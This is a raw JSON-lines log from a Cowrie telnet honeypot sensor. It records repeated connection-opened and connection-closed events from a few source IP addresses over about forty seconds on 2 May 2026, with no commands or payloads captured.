{"eventid":"cowrie.session.closed","duration":32.10736274719238,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:06.623670Z","src_ip":"216.10.244.42","session":"70f5455135b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.481799840927124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:06.833772Z","src_ip":"216.10.244.42","session":"7f24bbe137bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76139497756958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:07.037368Z","src_ip":"207.244.241.37","session":"e1b3f828af9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33890,"dst_ip":"10.17.0.5","dst_port":23,"session":"14822ccad444","protocol":"telnet","message":"New connection: 188.208.141.113:33890 (10.17.0.5:23) [session: 14822ccad444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:08.456620Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":59680,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c419cfbc86e","protocol":"telnet","message":"New connection: 216.10.244.42:59680 (159.203.135.109:23) [session: 6c419cfbc86e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:09.656614Z"}
{"eventid":"cowrie.session.closed","duration":48.428868532180786,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:09.854094Z","src_ip":"188.208.141.113","session":"77003acbf3b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79870319366455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:10.258431Z","src_ip":"207.244.241.37","session":"56298e787ffb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":32898,"dst_ip":"159.203.135.109","dst_port":23,"session":"c761d30dcd93","protocol":"telnet","message":"New connection: 207.244.241.37:32898 (159.203.135.109:23) [session: c761d30dcd93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:10.390692Z"}
{"eventid":"cowrie.session.closed","duration":30.57695698738098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:10.515455Z","src_ip":"216.10.244.42","session":"bdaa0837cca4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.62258005142212,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:10.678355Z","src_ip":"207.244.241.37","session":"fa4d5e696990","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.64436936378479,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:11.063847Z","src_ip":"206.189.32.23","session":"a2f0de0b0ee9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20806121826172,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:11.243377Z","src_ip":"207.244.241.37","session":"8ad455365d14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.87616539001465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:11.303918Z","src_ip":"207.244.241.37","session":"225ffebe0a52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":32882,"dst_ip":"159.203.135.109","dst_port":23,"session":"be4e3b4319bf","protocol":"telnet","message":"New connection: 207.244.241.37:32882 (159.203.135.109:23) [session: be4e3b4319bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:11.363432Z"}
{"eventid":"cowrie.session.closed","duration":31.00817584991455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:11.896989Z","src_ip":"207.244.241.37","session":"fdb7366008a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":35738,"dst_ip":"159.203.135.109","dst_port":23,"session":"838fde03b8bd","protocol":"telnet","message":"New connection: 207.244.241.37:35738 (159.203.135.109:23) [session: 838fde03b8bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:12.110060Z"}
{"eventid":"cowrie.session.closed","duration":51.72993803024292,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:12.321879Z","src_ip":"188.208.141.113","session":"83f18250edee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.684717893600464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:12.468461Z","src_ip":"216.10.244.42","session":"b215c29106f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.880886554718018,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:12.568461Z","src_ip":"216.10.244.42","session":"6b7ff45cc6ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":34364,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c15a3a5a0d3","protocol":"telnet","message":"New connection: 216.10.244.42:34364 (159.203.135.109:23) [session: 5c15a3a5a0d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:13.178736Z"}
{"eventid":"cowrie.session.closed","duration":30.878982305526733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:13.535652Z","src_ip":"216.10.244.42","session":"4655927a2f06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.827701091766357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:13.700423Z","src_ip":"216.10.244.42","session":"4fee306c2d5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":35696,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb5d396e41c9","protocol":"telnet","message":"New connection: 216.10.244.42:35696 (159.203.135.109:23) [session: cb5d396e41c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:15.071175Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":42630,"dst_ip":"159.203.135.109","dst_port":23,"session":"ceea429fe6be","protocol":"telnet","message":"New connection: 207.244.241.37:42630 (159.203.135.109:23) [session: ceea429fe6be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:15.643373Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":34728,"dst_ip":"159.203.135.109","dst_port":23,"session":"764922cb64dc","protocol":"telnet","message":"New connection: 216.10.244.42:34728 (159.203.135.109:23) [session: 764922cb64dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:15.664577Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":45086,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bd80b0e1530","protocol":"telnet","message":"New connection: 207.244.241.37:45086 (159.203.135.109:23) [session: 7bd80b0e1530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:16.997341Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":45292,"dst_ip":"159.203.135.109","dst_port":23,"session":"6dfba3a7e84f","protocol":"telnet","message":"New connection: 207.244.241.37:45292 (159.203.135.109:23) [session: 6dfba3a7e84f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:17.105863Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":38096,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd67dc33ac12","protocol":"telnet","message":"New connection: 216.10.244.42:38096 (159.203.135.109:23) [session: dd67dc33ac12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:17.549837Z"}
{"eventid":"cowrie.session.closed","duration":31.286478519439697,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:18.537617Z","src_ip":"216.10.244.42","session":"4c4eff7bca44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.62802481651306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:18.900492Z","src_ip":"207.244.241.37","session":"7459bb0798ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":49974,"dst_ip":"159.203.135.109","dst_port":23,"session":"22fca6d4a903","protocol":"telnet","message":"New connection: 207.244.241.37:49974 (159.203.135.109:23) [session: 22fca6d4a903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:19.848700Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":50514,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9082c031c9f","protocol":"telnet","message":"New connection: 207.244.241.37:50514 (159.203.135.109:23) [session: c9082c031c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:20.167137Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":50616,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6dd2204d9d1","protocol":"telnet","message":"New connection: 207.244.241.37:50616 (159.203.135.109:23) [session: a6dd2204d9d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:20.232693Z"}
{"eventid":"cowrie.session.closed","duration":31.246546745300293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:20.470931Z","src_ip":"216.10.244.42","session":"b1beffb203bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.66916036605835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:20.885555Z","src_ip":"207.244.241.37","session":"c5fd7a6d0539","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.385491847991943,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:21.829442Z","src_ip":"207.244.241.37","session":"bb69e67d65b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77420973777771,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:22.379641Z","src_ip":"216.10.244.42","session":"3dd8973bae48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.450568914413452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:22.417353Z","src_ip":"216.10.244.42","session":"649d05e76663","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.680814504623413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:22.599789Z","src_ip":"216.10.244.42","session":"95206db492e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.691232204437256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:22.623820Z","src_ip":"216.10.244.42","session":"065b6001fce8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":43016,"dst_ip":"159.203.135.109","dst_port":23,"session":"1576b86b42c2","protocol":"telnet","message":"New connection: 216.10.244.42:43016 (159.203.135.109:23) [session: 1576b86b42c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:22.949778Z"}
{"eventid":"cowrie.session.closed","duration":32.110936880111694,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:23.348854Z","src_ip":"216.10.244.42","session":"3df83806ef16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.042428493499756,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:23.874176Z","src_ip":"188.208.141.113","session":"80c115756fd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.610732793807983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:24.246347Z","src_ip":"207.244.241.37","session":"edc0dfc2a704","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16569423675537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:24.441496Z","src_ip":"216.10.244.42","session":"49a6507f683a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":59036,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4cf1ad41fa8","protocol":"telnet","message":"New connection: 207.244.241.37:59036 (159.203.135.109:23) [session: a4cf1ad41fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:25.145694Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":33280,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b49663fad74","protocol":"telnet","message":"New connection: 207.244.241.37:33280 (159.203.135.109:23) [session: 0b49663fad74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:26.570755Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":46188,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab6738309b39","protocol":"telnet","message":"New connection: 216.10.244.42:46188 (159.203.135.109:23) [session: ab6738309b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:26.576526Z"}
{"eventid":"cowrie.session.closed","duration":36.32750463485718,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:27.431183Z","src_ip":"188.208.141.113","session":"c1120e48d808","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.140213012695312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:27.593913Z","src_ip":"216.10.244.42","session":"9703bd9d83de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51996,"dst_ip":"10.17.0.5","dst_port":23,"session":"051f61bce08b","protocol":"telnet","message":"New connection: 188.208.141.113:51996 (10.17.0.5:23) [session: 051f61bce08b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:28.475023Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":48102,"dst_ip":"159.203.135.109","dst_port":23,"session":"810f9a1e6ade","protocol":"telnet","message":"New connection: 216.10.244.42:48102 (159.203.135.109:23) [session: 810f9a1e6ade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:28.735524Z"}
{"eventid":"cowrie.session.closed","duration":30.975985288619995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:28.757452Z","src_ip":"216.10.244.42","session":"5234a6fb9d91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.629790544509888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:29.474936Z","src_ip":"207.244.241.37","session":"2c295c26c37b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22468638420105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:29.652978Z","src_ip":"207.244.241.37","session":"aadf5f83d9d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":39468,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1af522f997b","protocol":"telnet","message":"New connection: 207.244.241.37:39468 (159.203.135.109:23) [session: d1af522f997b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:29.934012Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52002,"dst_ip":"10.17.0.5","dst_port":23,"session":"092cd4728aa1","protocol":"telnet","message":"New connection: 188.208.141.113:52002 (10.17.0.5:23) [session: 092cd4728aa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:30.231623Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52008,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c995377f8cd","protocol":"telnet","message":"New connection: 188.208.141.113:52008 (10.17.0.5:23) [session: 2c995377f8cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:30.407794Z"}
{"eventid":"cowrie.session.closed","duration":31.04353642463684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:31.107806Z","src_ip":"207.244.241.37","session":"2fa3d4c8b445","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51878,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a9b52a2592f","protocol":"telnet","message":"New connection: 188.208.141.113:51878 (10.17.0.5:23) [session: 4a9b52a2592f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:31.371273Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":42158,"dst_ip":"159.203.135.109","dst_port":23,"session":"be978b8da2db","protocol":"telnet","message":"New connection: 207.244.241.37:42158 (159.203.135.109:23) [session: be978b8da2db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:31.412814Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":42998,"dst_ip":"159.203.135.109","dst_port":23,"session":"71a1490e011c","protocol":"telnet","message":"New connection: 207.244.241.37:42998 (159.203.135.109:23) [session: 71a1490e011c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:31.961398Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":51200,"dst_ip":"159.203.135.109","dst_port":23,"session":"85c5ff0be89f","protocol":"telnet","message":"New connection: 216.10.244.42:51200 (159.203.135.109:23) [session: 85c5ff0be89f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:32.253819Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51890,"dst_ip":"10.17.0.5","dst_port":23,"session":"f22b8ff30127","protocol":"telnet","message":"New connection: 188.208.141.113:51890 (10.17.0.5:23) [session: f22b8ff30127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:32.734881Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":46068,"dst_ip":"159.203.135.109","dst_port":23,"session":"014c97d9d15a","protocol":"telnet","message":"New connection: 207.244.241.37:46068 (159.203.135.109:23) [session: 014c97d9d15a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:34.466384Z"}
{"eventid":"cowrie.session.closed","duration":43.74399161338806,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:34.636294Z","src_ip":"188.208.141.113","session":"29b707659b4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.627334356307983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:34.997029Z","src_ip":"207.244.241.37","session":"5610e694c844","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.85492157936096,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:35.264212Z","src_ip":"216.10.244.42","session":"6e5ddbb118c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.239906311035156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:35.647153Z","src_ip":"216.10.244.42","session":"1367bab75ddb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.861006498336792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:37.154795Z","src_ip":"207.244.241.37","session":"02c160714c16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.789572954177856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:37.390654Z","src_ip":"207.244.241.37","session":"748e82662d7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51904,"dst_ip":"10.17.0.5","dst_port":23,"session":"0998cd0323fc","protocol":"telnet","message":"New connection: 188.208.141.113:51904 (10.17.0.5:23) [session: 0998cd0323fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:39.061645Z"}
{"eventid":"cowrie.session.closed","duration":8.33084487915039,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:41.065630Z","src_ip":"188.208.141.113","session":"f22b8ff30127","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.973121166229248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:41.363719Z","src_ip":"207.244.241.37","session":"c761d30dcd93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.77151656150818,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:41.428041Z","src_ip":"216.10.244.42","session":"6c419cfbc86e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.770148992538452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:42.133457Z","src_ip":"207.244.241.37","session":"be4e3b4319bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.919888973236084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:43.029851Z","src_ip":"207.244.241.37","session":"838fde03b8bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":59838,"dst_ip":"10.17.0.5","dst_port":23,"session":"49217cfff781","protocol":"telnet","message":"New connection: 188.208.141.113:59838 (10.17.0.5:23) [session: 49217cfff781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:44.248482Z"}
{"eventid":"cowrie.session.closed","duration":31.525261640548706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:44.703924Z","src_ip":"216.10.244.42","session":"5c15a3a5a0d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.432264804840088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:45.503321Z","src_ip":"216.10.244.42","session":"cb5d396e41c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":33854,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac96365d2e2f","protocol":"telnet","message":"New connection: 216.10.244.42:33854 (159.203.135.109:23) [session: ac96365d2e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:45.673897Z"}
{"eventid":"cowrie.session.closed","duration":30.68675923347473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:46.330015Z","src_ip":"207.244.241.37","session":"ceea429fe6be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.755247831344604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:46.419717Z","src_ip":"216.10.244.42","session":"764922cb64dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":36242,"dst_ip":"159.203.135.109","dst_port":23,"session":"e62d5faa0575","protocol":"telnet","message":"New connection: 207.244.241.37:36242 (159.203.135.109:23) [session: e62d5faa0575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:46.660437Z"}
